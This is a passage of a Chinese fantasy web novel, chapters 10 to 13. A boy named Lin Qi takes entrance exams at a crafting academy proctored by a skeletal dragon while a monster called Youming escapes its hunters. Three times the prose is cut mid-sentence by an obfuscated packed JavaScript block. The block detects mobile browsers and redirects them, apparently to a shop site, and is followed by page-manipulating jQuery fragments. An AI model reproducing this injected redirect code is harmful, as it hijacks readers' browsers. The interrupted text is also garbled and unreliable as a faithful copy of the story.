龙骨又乖乖把嘴巴闭上。 许慎行凌厉眸光一转,朝凌壑身后道:“观院长,你怎么在这儿?学校那堆狗屎怎么你了?” 观沄礼貌回了一句:“许院长好,我带孩子过来考试。” 又温声向林栖介绍,“这位是许院长,这里就是我跟你说起过的造物学院。” 许慎行像是这才发现观沄还带了个人,明显愣了一下,紧接着就朝身后那副龙骨摆手,“去去去,别杵在这里吓人。” 龙骨似乎习惯了,原地趴了下去,身形隐没在杂乱的草丛里,只露出半个脑袋。 许慎行朝后扫了一眼,脚后跟朝龙骨脑袋一踹,龙骨顿时伏得更低,垂着头,只隐约露出一双黑洞洞的眼眶,莫名显得委屈。 林栖忍不住朝它看去,它默然两秒,抬爪,缓缓遮住了自己眼睛。 林栖:“?” 许慎行朝树丛后的老旧建筑一指,对观沄道:“刚好,有事找你商量,进来坐会儿。” 声音还是冷得结冰,但和之前相比,已经堪称春风和煦。 他带路,把一行人领进学院,直接进了侧面展厅,在会客区落座。 许慎行跟观沄寒暄几句,视线一斜,忽然瞄向林栖,“我们在这儿说话,你闲着也挺无聊的。” 他略微一顿,脸上浮起一抹白惨惨的笑意,“来都来了,考个试再走吧。” 10. 第 10 章 展厅类似画廊,粗重的黑色框架结构搭配白色隔断,划分出几个功能区域,进门处有几个空置展台和两套简单桌椅。 凌壑拖着凳子坐下,惊奇道:“你们造院居然还要考试?” 展厅挑高超过十米,任谁说话都自带回响。 许慎行嘴巴一抿,没搭理他,一边吩咐助教安排,一边朝林栖道:“考得好也没关系。” 林栖:“?” 是不是少说了一个“不”字? 许慎行那双锋锐的眼睛眯起和善的弧度,把后半句话补完,“毕竟我又不能绑着你来我们学院。” 原来没少字……林栖不知道怎么接话,默默把视线一垂,开始研究桌子上的木纹肌理。 凌壑长腿朝桌子一勾,把自己连同凳子一起挪到林栖旁边,手半掩在唇边,超大声同他嘀咕,“许院长的意思是,千万别考太好,咱们造物院是学城历史最悠久的学院,秉承最传统的教育理念,把有天赋的学生让给其他学院,自己专收那些没人要的,是真正的有教无类,包容四海。” 林栖不了解造物院的情况,但知道这不是好话,只当没听见,继续低头研究桌子。 许慎行抿着嘴巴,眼神朝凌壑一扫,干瘦颀长的手指在桌面交叠一握,语气难得平静—— “没错,我们院确实招不到学生,自从我当了这个院长,就只能捡其它院系挑剩下的,我不否认这点,但是——只要让我碰上一个有天赋的学生,我不管他高矮胖瘦,多大年纪,什么出身,只要他有天赋,肯好好学,我每天吃饭睡觉都把他带在身边,只要他能有所成就,哪怕骑在我头上拉屎我都高兴。” 凌壑笑道:“这话也太糙了。” 许慎行抬了抬眼皮,“我还有更糙的呢。” 观沄在一旁道:“天赋不是绝对的。” 许慎行唇角一勾,诈尸似的一笑,“你们画院当然没有这种烦恼。” 就算观沄不当院长,画院风头不如往年,但在所有学院中依然稳居第二,唯独输给祈院,而造院已经全校垫底很多年了。 或者说,“造物师”这个身份已经没落很多年了,与以往的辉煌相比,现状简直惨不忍睹。 从第一任院长往后,造物师们就在走一条很漫长的下坡路,一代不如一代,前不见底。 每当新生入校,许慎行总能说一句:“你们是我带过最差的一届学生。” 可怕的是,这句话是事实,而且每一年都成立。 许慎行想要学生,有天赋的学生。 只是一般的天赋还不够,他要的是一个天才,一个可以超越他的学生。 他的学生不能只看他的背影,他的学生更要走到他的前面。 先超越他,再超越他的老师,然后是老师的老师……超越当世所有造物师,然后再求突破,把当代造物那道低矮的天花板撑高一点,再高一点,为后来的学生多留一点成长空间。 在那之后,他们就可以稳住步子,不再下滑,然后抬起头,往上走,哪怕每一代人只能多走一步,但只要向上,就有希望。 然而现实是,在这个一年一度的招生日,从早上到现在,他们造院连一个来考试的学生都没有,更别说有天赋的学生。 如果没人来考,造院只能像往年一样,接收校方塞过来的学生——身上没有被怪物侵蚀,很干净,脑子没有被知识侵蚀,更干净。 为往圣继绝学——继个屁!继不了一点。 许慎行想着这些,一张死人脸愈发阴郁,仿佛当场就要长出尸斑。 他需要舒缓一下情绪。 视线扫过对面——画院前任院长、驯院现任老师、传闻中的天才学生……骂哪个也不合适。 只能骂学校了。 于是,他将话题一扭,开口道:“听说了吗?他们要抓幽冥,校长亲自出面,来我这儿借造物,被我骂走了。借什么借?用尾椎骨想也知道,根本不可能还。” 凌壑丝滑接上话题,“可不止‘借’了你们一家,要是我们院长也有这么臭的脾气就好了。” 许慎行继续道:“我看这帮校领导比猎捕队更适合抓怪物,毕竟脑仁儿还没核桃大,里面还给虫蛀空了,就算劈开了晾在那里,怪物也不乐意吃,用他们组个团,围住怪物,怪物都得活活饿死。” 凌壑靠在椅背上笑着拍手,侧眸看向观沄,观沄礼貌一笑,并不附和,只道:“我听说幽冥受伤了,这次很有可能成功。” 许慎行笑了一声,“受伤,被蚊子叮一口也叫受伤,脑袋折了也叫受伤,你们知道它伤在哪儿吗?反正我不知道。咱们这些人整天憋在学校,连怪物毛也碰不到一根,能知道什么确切消息?” 顿了顿,越发阴阳怪气,“还得是咱们校长厉害,眼珠子甩出去几千公里,学校里的问题是看不见的,对怪物倒是如数家珍。来找我的时候,说幽冥跟其它怪物打架,打得只剩半个脑袋了,现在正忙着抱头鼠窜,猎捕队有九成把握,加上校方配合,就是十成十的成功。” 观沄和凌壑都能听出他话里的嘲讽,其它不提,只说幽冥受伤这件事,就很值得争议。 幽冥是已知最凶恶也最神秘的怪物,其出没的地方总是笼着极浓重的黑雾,猎捕队即使带着全套防护装备也难以靠近。 曾有人目睹,普通怪物仅是触碰那些黑雾,都会被腐蚀成一堆枯骨。 这么多年过去,谁也没有真正见过幽冥。 有关幽冥形貌的说法很多,但都是臆想,人们觉得“怪物”应该是什么样,就把幽冥描述成什么样。 一代人有一代人心中的怪物,因而幽冥在人们口中也有不同版本,如果追溯到百年之前,人们描述它时,使用的意象更多是天灾,诸如火山、洪水、瘟疫、毒瘴…… 而现在,胆大的小朋友比赛画怪物时,会把长相最丑恶的那个选为幽冥。艺术家在搞创作时,更会充分发挥想象—— 幽冥可能长着一堆脑袋,每一颗都是不一样的形状——鬼脸、僵尸、恶狼、毒蛇……每颗脑袋上又有脓疮和尸虫。 或者满身都是爪子,每只爪子末端畸化出新的怪物……满头都是眼睛,眼睛里又钻出无数蛆虫鼠蚁…… 想要确定幽冥究竟是什么,以及它是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463078|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受伤、伤得怎样,唯一的办法就是——先抓住它。 在此之前,一切都是鬼扯。 凌壑道:“许院长就不想代表造院立个大功?” 毕竟众所周知,“造物”很适合用来对付怪物,它能独立行动,又不会成为怪物的攻击目标。 “蠢人的一大特色就是,总觉得自己很行,你是骂我蠢吗?”许慎行说着忽然一顿,看向林栖,“你姓林?” 隔壁桌助教老师正在给林栖登记信息,这会儿刚说完名字。 听到他问,林栖点了点头。 许慎行道:“不错,史上最厉害的造物师也姓林。” 他这句话语速很慢,声音又苍白低哑,有一种幽幽的诡异感,陈述事实也像在念诅咒。 观沄几不可见地皱了下眉。 许慎行又把视线移回来,问观沄:“你这些年在外面,是不是能见到不少好学生?” 观沄反问:“怎么样才算好学生?” “当然是——白塔选不上但你自己愿意教的那种。” 白塔选人只看“干净”,即使再有天赋的孩子,只要身上带了一点侵蚀痕迹,都会被校方排除在外。 观沄偶尔会想,等忙完正事,或许就在松林建个教室,教一教像这样的学生。 他道:“确实有一些。” 外面有好学生,但是许慎行招不到。 这也不是什么舒缓情绪的话题,许院长又开始想骂人了,好在考试已经准备就绪,多少能转移一下注意力。 展厅原本不做考场使用,但许慎行为了把林栖留下考试,硬是直接把考场搬了过来,搞了个VIP考试服务。 造院考试分为笔试和“专业”两个部分,笔试看基础,专业看天赋。一般都是先笔试再专业,但许慎行让林栖先考专业,还亲自把考试工具和材料都准备好,在桌面码得整整齐齐。 他看了一眼时间,“还差两分钟,我们整点开始。” 林栖点点头,看向桌面,这不像考试现场,倒像手工教室。 左边的托盘放着带编号的工具,右边的托盘放着带标签的材料,而正面立着一张步骤说明,他只需要对着说明,按编号使用工具,把材料组合起来就可以了。 和手工教室不一样的是,很多工具和材料他以前都没见过,尤其材料,有几种说不清是塑料、金属还是木头…… 而且图纸上并没有成品效果,他是在拼一盒没有完成图的乐高。 许慎行声音苍白和煦,“还有一分钟,你可以先检查一下工具,有任何问题或者不顺手,我都可以给你……” 话没说完,就听一个学生在院子里扯着嗓子喊道:“院长——院长你在哪儿呢?” 许慎行表情一皱,回道:“展厅!” 学生蹬蹬跑进来,见这里有外人,收敛了一下态度,问道:“院长你忙吗?” 许慎行一脸无语,“那要看你有什么事,做出顶级造物?那我不忙,这辈子都不忙,随叫随到。” 学生翻个白眼,一脸院长你在说什么梦话的表情,皱着脸道:“老源墨跑了。” 11. 第 11 章 老源墨是所有“源墨”里最老的一块,作为古董造物,能追溯到两百年前。 出处不详,仿佛是从历史尘埃里凭空冒出来的。 这件造物对造院来说实际作用不大,但象征意义重大,是一个类似于百年老店祖传牌匾的东西。 画院那支测试笔用的也是源墨,从辈分上看,算是老源墨的孙子。 “牌匾”年纪大了,擅长倚老卖老,不是绝食,就是离家出走。 许慎行额头青筋乱跳,“什么时候跑的??” “应该刚跑,早上看的时候还在。”学生一脸无语,“真是的,什么时候不好跑,非挑今天。” 许慎行对这种事已经有了肌肉记忆,拧着眉头就往外走,刚走几步又回头看向林栖:“你先考着,不用等我。” 他把学生和助教都带走了,空旷的造院展厅只剩三个外人。 林栖对着一桌子考试工具沉默片刻,询问地看向观沄。 监考老师都跑了,还要考吗? 观沄斟酌着,正要开口,就见一副龙骨低头走了进来。 骨头脑门儿上贴着一张字条,上书“监考”两字,笔迹潦草,一看就是许慎行临时写的。 “突然想起来,我也得去监考。”凌壑起身伸个懒腰,挥手走了。 于是展厅只剩下两个人和一副骨头。 洁白光滑的骨头架子“咔哒咔哒”挪到桌前,将几米高的身子匍匐下来,低着头,一双黑洞洞的眼窝朝向林栖。 盯—— 林栖:“……” 空气静了几秒,骨头架子像是忽然想起什么,猛一抬头,颈椎骨发出“碦啦”一响。 它将爪子伸进自己肋骨缝里,摸鱼似的掏了掏,拎出一只骨白色的口袋,又从中倒出一副皮肉,刷刷抖开,好像穿衣服一样给自己套上。 林栖眼睁睁看着它从一副骨头龙,变成了一只肉嘟嘟的胖龙。 还是黑白花的,蹲在那里好似一头奶牛。 胖龙把掉落的“监考”字条贴回自己脑门儿,又从肚皮口袋里摸出一对玻璃眼珠,熟练而笨拙地捧在掌心,爪尖儿小心拨开抽屉,从中挖出两团白色橡皮泥,粘在眼珠背面。 接着,就见它手捧眼珠,朝着自己掌心猛一磕头,把一对眼珠怼进了眼眶里。 片刻,胖龙瞪大一双眼睛,水灵灵地朝林栖看了过来。 盯—— 林栖:嗯…… 眼睛歪了。 一颗眼仁朝着左上,一颗眼仁朝着右下,怎么看都不太聪明…… 要不要提醒一下? 林栖轻轻吸一口气,正想开口,斜眼胖龙却抬起前爪,隔空在试题上方挠了几下,示意他不要偷懒,赶紧做题。 主人让它监考,它那么聪明,当然知道应该先考笔试。 林栖在催促中拿起试题,从左上角开始往下看。 视线好像墨点落进水里,迅速散开焦距。 五行之后,他困了。 在文盲眼里,每一颗黑色的不明符号都像是神棍在跳催眠曲。 “我看看。”观沄支着下巴凑近过来,“第一题是:造物是什么?” 林栖缓慢眨了眨眼,眼神有种未被知识污染过的清澈。 观沄:“简单来说,造物是以功能性为核心的手工作品。” 尽职尽责的监考龙:“?” 林栖点点头,思考片刻,“那电饭煲是造物吗?” “也可以是。”观沄笑着解释,“但首先,它得是一个纯手工电饭煲,其次,煮饭可能要多放点米,不然电饭煲自己都不够吃。” 林栖疑惑地眨了下眼。 观沄没有展开细说,只是继续念下一题。 考题很适合做科普,在接下来的几分钟里,林栖指到哪个题目,观沄就念出哪个题目并给出答案,比如造物等级概念——初、中、高级的基础区分。 其实在“高级”之上还有两个等级。 造物是所有院系中门槛最低但上限最高的学科,以当代造物师的水平来说,学生能独立做出“中级造物”已经算是助教水准,做出“高级造物”则能直接留校任教。 高级以上过于稀有,一般人根本接触不到,也理解不了,考题上没有,观沄也没多说。 讲到“高级”造物时,监考龙自信满满地甩了一下尾巴。 观沄朝它看了一眼,客观评价:“你应该是中级。” 监考龙不服气地站直身体,足有四米多高,张开翅膀更是气势十足。 观沄:“造物等级不看体型。” 监考龙龇开大嘴,露出两排白牙。 观沄:“也不看牙口。” 监考龙不理他了,转而很期待地看向林栖。 “嗯……”林栖道,“你看起来很高级。” 监考龙高兴了,又有点不好意思,爪子在脸上一挠,指甲擦过眼眶,左边那颗眼珠子顿时更歪了,绿眼仁几乎完全没入眼眶,只剩一片光溜溜的眼白。 林栖默默低头,抿着嘴唇,肩膀很可疑地颤了一下。 接着又花了几分钟,把一套题目挑挑拣拣看完,林栖用现代语在卷首写上自己名字,然后……交了白卷。 这几天里,他已经从纯文盲进化到会写十几个字了——自己名字外加一二三四五六七八九十。 交白卷不算作弊,监考龙满意地收了卷子,又催促林栖去做手工。 手工比做题简单得多,观沄念一个步骤,林栖做一个步骤,也不算违反考试规则。 一开始还算顺利,林栖严格按照图纸,把那些叫不出名字的材料组合起来,先完成局部,再拼成整体,但在进行到中间一步时,他出错了。 出错的理由有点莫名其妙。 步骤要求把部件①和部件②拼在一起,但部件①的雏形有些像树叶——半片树叶。 林栖联想到外面那两棵槭树,略一分神,就把部件①和另一个相同的部件①拼到了一起,刚好凑出一片完整的树叶形状。 做完这个动作之后,他甚至没发现哪里不对,只是下意识地想着,一片刚从枝头落下来的树叶,颜色还在最美的时候,可以做个书签……查字典的时候,需要哪个字,它就落到哪一页…… 然后又莫名想到,既然可以找字,那也可以找东西,或者找人…… 找人…… 要找谁呢? 忽然眼前光线一暗,一张大脸怼到面前。 林栖本能往后一撤。 监考龙眯起眼眶,凑近了看他手里。 这东西刚才好像亮了一下?对吧?……也可能是动了一下? 但是做一半的东西肯定不会动的,对吧?也不会亮的…… 监考龙默然思考片刻,抬爪抠了抠自己眼睛,发现眼珠子果然歪了。 所以是眼睛动了,不是东西动了…… 那就没问题了哦。 林栖被监考龙打断,终于发现自己错了步骤,从“叶子”那步开始,后面全是错的。 手里那件半成品对比步骤图,完全就是两个东西。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16466219|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……” 没办法,只能拆了重来,但专业考试限时一小时,已经做不完了。 计时结束时,监考龙看看那张白卷,又看看进度仅到一半的造物,挠了挠头,朝林栖投来安慰的目光,仿佛在说:没关系哦,笨蛋很多的,不差你这一个。 林栖:“……” 谢谢哦。 考试结束了,但许慎行还没回来。监考龙把林栖和观沄送到门口,转身就把一身累赘的皮肉脱了,爪子扒拉着,将眼珠子也抠出来放好,一扭头,却见林栖还在看他。 监考龙立即又把一身皮肉套上,动作一慌,眼珠子啪嗒一声掉在地上,不知道滚哪儿去了。 它有些笨拙地蹲下身子,埋头找眼,正摸索着,爪子却被人轻轻拍了一下。 它瞪着空洞的眼眶看过去,还没找见人影,就听清澈的男孩儿嗓音对他道:“眼睛找到了,你是自己拿着,还是让我帮你装上?” 许慎行叫它监考,特意吩咐过,别吓着考生,但是现在这种情况,它也不知道是拿着吓人还是装上吓人。 它需要思考。 男孩儿拉着它的爪子,把一对眼珠放进它掌心里,“穿着这些是不是很热?你想脱就脱吧,我不怕骨头。” 监考龙蹲在原地没动。 它还在思考。 男孩儿又看它片刻,挥挥手,转身走了。 它看着他弱小可怜的背影想:哦,这个笨蛋还挺好的。 接下来,林栖又去考了几场。有些学院考试时间重合,只能二选一,他没考全,只去了祈院、咒院、驯院。 “祈真师”可以净化侵蚀,备受追捧。祈真院也因此成为近年来热度最高的学院,门外人山人海,两行队伍排了三个拐弯儿还有富余。 考试内容是现场记忆和背诵,完成一场简单的祈神祝祷仪式,需要配合一定的肢体语言和面部表情……总而言之,很需要一些信念感才能完成。 林栖按要求走完一遍流程,只觉得脑壳麻麻的,整张脸都木了。 观沄笑道:“回去给你重新买双袜子。” 林栖:“?” 观沄往他脚上一指,“脚趾抠地抠得那么用力,袜子肯定破了。” 林栖:“……” 被看见了。 好尴尬,有点不想活了。 咒术院和造物院一样,都是学城建立初期就有的学院,建筑风格不同,但有着相似的年代感。 院内咒术乱飞,并不冷清,但从考官到学生都是一张臭脸,对人爱答不理,没人多看林栖一眼,这让他一进门就对这所学院心生好感。 可惜咒院第一轮纯考理论,文盲只好又交了一次白卷。 驯兽院效率更高,林栖一进门就被刷下来了。 一名肌肉壮汉抱着胳膊,视线往他头顶一扫,“太矮了宝宝,回家多吃点儿饭再来吧。” 当天回家以后,林栖确实多吃了半碗饭。 第二天中午,考试结果下来—— 五个院系,他一个也没考上。 补考通知是和考试结果一起来的。 部分学院还没招满,会从补考中继续挑选学生。 每个学院的招生计划和所缺人数以表格形式附在通知单后,其中只有造物学院被贴了红标,大字写着所缺人数:8。 其它学院都已招满计划人数,只有在特殊情况下,才会从补考中额外选人。 摆在林栖面前的路只有两条,要么放弃上学,要么想办法通过补考,去上这所垫底学院。 12. 第 12 章 补考安排在通知发出的当天下午,和第一轮考试相比,显得十分仓促。 考试地点位于行政区三号楼,不属于任何一个院系。 工作人员将上百名补考学生带进一间环形阶梯教室,随行家长则被要求在外等待。 校方还未公布正式考题,教室里一片叽叽喳喳的说话声,推门就像进了一片全是鸟的林子。 林栖进门没走几步,就有一个学生朝他迎了上来,“诶?你也来补考啊?” 这句话像是一颗信号弹,引着十几道目光一起朝林栖投了过来。 旁边又有一个学生探出脑袋,“对啊,你不是那个天才小画师吗?怎么跑这儿来了?我们这是补考。” 又有一个声音道:“天才不会没考上吧?不会吧?” 林栖整个人明显比其他孩子要小一圈,长相又格外精致漂亮,安静的时候就像展示在橱窗里的漂亮人偶。 他垂着睫毛,视线落在前方一米外的阶梯上,心里默念:我是来考试的,别人爱说什么说什么,跟我没关系。 他知道,别人是因为观沄才额外关注他,他没办法不被关注,只能不理他们。 他只“嗯”了一声作为回应,听起来既敷衍又意味不明。 刚走几步,一个刺猬头男孩儿直接从桌子后面翻了过来,挡住林栖去路,“你就是那个谁吧?观院长带的那个。你不是他小孩儿吧?那你是观家人吗?” 林栖不回应,只是侧身绕过他继续走。 刺猬头追上几步,“怎么不理人啊,你叫什么?” 大半个教室的目光都朝这边集中过来,林栖看着脚下,继续在心里默念。 刺猬头大着嗓门儿道:“干嘛不说话?问你名字呢。” 林栖终于开口,吐出三个字:“那个谁。” 刺猬头愣了一会儿才反应过来,因为他前面说“你就是那个谁吧”,所以对方干脆就说自己名叫“那个谁”。 “那我又不知道你叫什么,也用不着生气吧?哎你先别走啊——”他咕哝着,跟在林栖后面。 过道两旁的人都在看他,有的笑,有的起哄:“别问了,人家根本不想理你。” “就是,人家是观家小少爷,根本看不上你。” 刺猬头脸上噌的一下红了,停下步子,朝林栖背影道:“哇好高冷,都不理人,观家这么了不起吗?不理拉倒。” 林栖没有任何回应,只是一路走到最后一排坐下,跟所有人都不挨着,显得十分高冷。 教室里响起一片嗡嗡嗡的议论声,一会儿讨论林栖身份来历,一会儿议论他之前的考试成绩。 不过新鲜感来得快去得也快,一群孩子热闹一阵儿,就又开始叭叭别的。 两个女孩儿互相挨着脑袋,讨论“老僵尸”的年龄。 五六个男孩儿围成一圈,为了“幽冥”打赌。其中个子最高的男孩儿豪爽拍下一沓赌金,说他小舅舅是猎捕队的队长,他有内幕消息,这次稳了,绝对能抓着幽冥。 到处叽叽喳喳,而林栖只是垂着视线,默默研究桌子上的漆面反光。 工作人员迟迟不来宣布考试内容,几个坐前排的男孩儿带头摸了出去,几分钟后又兴冲冲地回来,人形喇叭似的嚷道:“走吧走吧——都散了吧——今天考不成了!” 旁边一人接道:“老僵尸和校长掐起来了,老僵尸要辞职,让我们祝愿他能成功!” 这教室自带扩音效果,林栖在后面听得清清楚楚。 场面乱了一会儿,说什么的都有,直到工作人员进场维持秩序才恢复安静。 工作人员解释说,校长考虑到这次情况特殊,八个名额全在造物学院,所以特许学院一起参与决定补考内容,具体方式是—— 八个名额,一边一半。 工作人员拿着文件夹,“待会儿造物学院的许院长会亲自过来选人,被选中的同学直接去造物学院参加补考,由许院长决定考试内容并确定合格名单,校方全程不予干预,而在他确定之后,校方会另行通知考试内容,并确定剩下的四个名额。” 在他说完之后,立刻就有人问:“如果我被老僵尸叫去考试但是没考上呢?这怎么算?” 如果两场考试只能二选一,那他肯定立马就走,坚决不考老僵尸的。 工作人员笑笑:“首先,不要在公共场合叫院长外号,其次,被选上了完全可以放心去考,这只是多了一次机会,即使没通过许院长的考试,也可以继续参加校方考试,校方和院方在学生选择上有不同的侧重点,但目标是一致的,都是为了学院和学城更好。” 两次机会当然比一次机会更好,但在他说完之后,还是有几个学生直接起身走了。 几分钟后,许慎行阴沉着一张脸,手肘夹着一叠资料,大踏步地过来选人。 瘦高身影直接走到教室末端,从最后一排开始选起。 于是,林栖成了第一个。 许慎行在他面前翻了几下资料,垂着眸子,沉声开口:“你昨天给我交了一张白卷,是真不会,还是不想写?” 林栖静了一瞬,回道:“真的不会。” 许慎行低低“嗯”了一声,薄薄的眼皮一掀,抬起一道凌厉视线,盯住林栖,又问:“那专业呢?是真没做完?还是根本没好好做?” “真没做完。”林栖说话声音很轻, 许慎行看着他,又沉沉地“嗯”了一声,没再说什么,只是缓步从他面前走开。 那一刻,林栖从他脸上看到了很深刻的失望。 工作人员在远处道:“没选上的同学可以先回去了,明天学校会再给你们通知。” 林栖是第一个被筛掉的,自然也是第一个离开的,从教室末尾走到前端,两边不断有人扭头看他,目光算不上十分友善。 嗯,但他眼神不好,他看不见。 门外等着一堆家长,林栖还没看清观沄在哪儿,就先听见了凌壑的声音,用一种事不关己的腔调说:“谁知道呢?说是消失,也可能只是没看见,万一猎捕队集体失明了呢?” 旁边一个不认识的声音问:“这是哪天的事?怎么能说消失就消失呢?你这消息可靠吗?” 凌壑笑道:“当然不可靠,你看我像可靠的人吗?” 林栖刚看清凌壑在哪儿,就见他朝自己挥了挥手,朝旁边道:“不聊了,我大侄子出来了。” 等凌壑走过来,林栖才后知后觉,自己就是那个“大侄子”…… 凌壑笑道:“妈妈不幸被校长抓走了,爸爸陪你等他一会儿。” 林栖:“……” 等待的过程中,凌壑丝毫也没闲着,“知道老僵尸为什么和校长吵起来吗?不知道吧?因为校方本来安排了祈院过来,要筛掉那些‘有侵蚀倾向’的学生,给老僵尸气得,差点儿当场长出尸斑。老僵尸当时是这么说的——咳——” 凌壑模仿许慎行的语气,“侵蚀倾向是什么狗屁?你们脑子里有屎吗?贷款筛选,用还没发生的事决定学生未来!我看你们百年之后反正得死,不如今天直接埋了!” 凌壑说完哈哈一笑,凑近道:“你以后可是要跟这么一位院长,慌吗?” 他似乎十分确信林栖可以通过补考。 林栖往后撤了撤,面无表情道:“慌。” “那我说点更慌的,就当以毒攻毒了。”凌壑似乎天生对冷淡免疫,不把自己当外人地往前凑凑,狭长双眼微微一眯,压着低低的气声开口—— “你还不知道吧,幽冥不见了——这次派了五十多个猎捕队,每队都有两百多人,把幽冥堵在大峡谷里,守得严丝合缝,已经过了十几天了,但就在今天早上,它忽然就不见了,轮值队员说,根本不记得当时发生过什么,就像突然做噩梦一样,眼前扑来一团鬼影,身体根本不听使唤……” 林栖:“……” 幽冥不是怪物吗?怎么好像在讲鬼故事一样。 凌壑说着说着,声音一顿,语调忽然上扬,“哎呀没事,补考是这样的,我们回去等通知就行了,学校出题不会太难,你不用担心。” 林栖听他说到一半就觉得哪里不对,回头一看,果然看见观沄已经来了。 凌壑嬉皮笑脸地看着观沄,“校长怎么你了?脸色这么臭。” 观沄没理他,沉默着朝远处看了看,收回视线时,面色已经恢复如常。 他略微俯身,温声朝林栖道:“现在还早,是想直接回家,还是出去逛逛?” 凌壑又换成那种闹鬼似的语气,同样俯身朝向林栖,“我建议出去逛逛,现在幽冥跑了,说不定就在哪里藏着,等着抓小孩儿吃——专吃漂亮小孩儿。” 观沄一肘把他杵开,向林栖道:“学城有防护,连最普通的小怪物都进不来,更别说是幽冥。” 凌壑顺势抓住观沄手肘,“你说哪个学城?” 就像一些大城市的“五环”不算城里一样,对身处核心区的师生来说,也只有学校周边这一小圈才算学城,连上城区都不包括在内,更别说是外城。 不同区域,防护等级也不一样。 林栖看出观沄不太高兴,于是说想直接回家。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471026|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道为什么,凌壑也跟着一起。 路上话题大多围绕考试,但时不时总会冒出一句幽冥。 可能因为听多了怪物,林栖当晚就做了噩梦。 他在一片黑雾里走了很久,直到在梦里也快睡着了,才在黑暗尽头看到一点亮光。 他意识到,那点亮光似乎是火。随着这个念头,火光忽然拉近放大,炽烈地包围上来,灼得眼睛酸疼。 他想遮住眼睛,抬手时,却见自己手上皮肉已经烧得焦黑,露出灰白色的指骨…… 细瘦的骨骼在墙面投下伶仃的影子,火光一晃,弥散出飘摇的烟尘。 光影中,像是有什么朝他指尖碰了碰,他后知后觉,身边另有一道黑漆漆的影子,却不是他自己的影子。 这里还有别人。 ……是谁? 醒来时,林栖手指上还残留着疼痛的幻觉。 可能因为清晨光线稀薄,缠满皮肤的红色细线似乎更深浓了,仿佛结痂之后重又浸透了血。 好丑…… 林栖翻个身,从枕边抓起一只白胖胖的抱枕,勾着脚腕,又从床尾找到另外一只,回手朝后摸索,再捞一只……把这些抱枕全部堆在面前。 堆好之后,他闭着眼睛,往前拱了拱,把自己埋进枕头堆里藏好。 自从那次外出购物回来,他的小房间就从简约风变成了“幼儿风”。沙发、矮凳、窗帘、桌布、夜灯……都是毛绒绒的。 抱枕洗过晒过,布面散发着干净又柔软的清香。 林栖模糊想着,不知道补考要考什么。 考不上也好吧…… 他不想起床。 这天上午,校方公布了补考规则。 林栖住得远,直到中午才收到通知。 正巧是午饭时间,餐桌上,凌壑拿着考题就朝观沄挤眉弄眼,“这题是考你的。” 观沄凉飕飕地看他一眼。 林栖捧着一杯果汁,头顶缓缓冒出问号。 题目是“携带一件自己的造物参加评选”,为什么说是考观沄的? 凌壑凑过来,往林栖杯子里夹了一颗冰块,“这就好比艺术院校招生,正常都是让学生现场画图对吧?现场考试,才能确定是你亲笔画的。但咱们这个题目的要求是——带一幅现成的画作参加考试,只要画是你的就行。” 题目里“自己的”三个字就很微妙。 自己的造物可以指自己造的,也可以指自己用的,或者是自己署了名的。既然怎样都可以,只要脑子正常,当然会选最简单的。 也就是——署名。 署名简单来说,就是把现成的造物买回来,签上自己的名字。 至于为什么不安排现场考试?大概因为这是最后一次补考,校方已经默认了,这些学生根本就考不上,既然不能凭本事,那就只能凭家长。 有一个反常识的事实——造院虽然在全校排名垫底,却又是门槛最高的院系,甚至比画院更吃天赋。 不行就是不行,努力也于事无补。一个没有造物天赋的孩子,可能一辈子也无法突破初级。 这也是没人愿意考造院的理由之一。 凌壑向林栖稍作解释,然后看向观沄,“巧了,我知道一家造物店,古董多,特别适合署名。” 观沄怀疑道:“哪家?” 凌壑翘起长腿晃晃,“这你都猜不到吗?当年是——更年期的那家。” “你拿到邀请了?”观沄问。 “拿到了。”凌壑挑眉。 “怎么拿到的?” “你还不知道吧?现在邀请不值钱了。” 在观沄审视的目光中,凌壑叼着发圈,重新绑了一下头发,然后晃着一双长腿,慢悠悠地开始解释—— 之前,他在弄邀请的时候,不光找人要了现成的,自己也试着发了预约。当时只得了一个“已读不回”。 他打听过,“已读不回”就是婉拒,奇葩店主连正式回绝都懒得给。 但就在前天晚上,“已读不回”突然变成了“已读已回”。那家古董店冷不丁地给他发了一份邀请。 他觉得事情反常,打听过后才知道,这种情况不是个例。 凌壑对观沄道:“近期预约过的应该都收到了,你去查查,你应该也有。” “知道为什么吗?”观沄问。 这个时间点,很容易让人联想到入学考试。 “谁知道呢,可能是更年期提前结束了吧。”凌壑向后枕着手臂,侧头笑看观沄,“去吗?反正看看也不吃亏。” 13. 第 13 章 阴天,有雨却下不来,水汽蓄在云里,闷着厚厚一层。 老街上,铁皮风铃也像浸在水里,风吹不动,只在被人碰到时,才会低哑唱上一声。 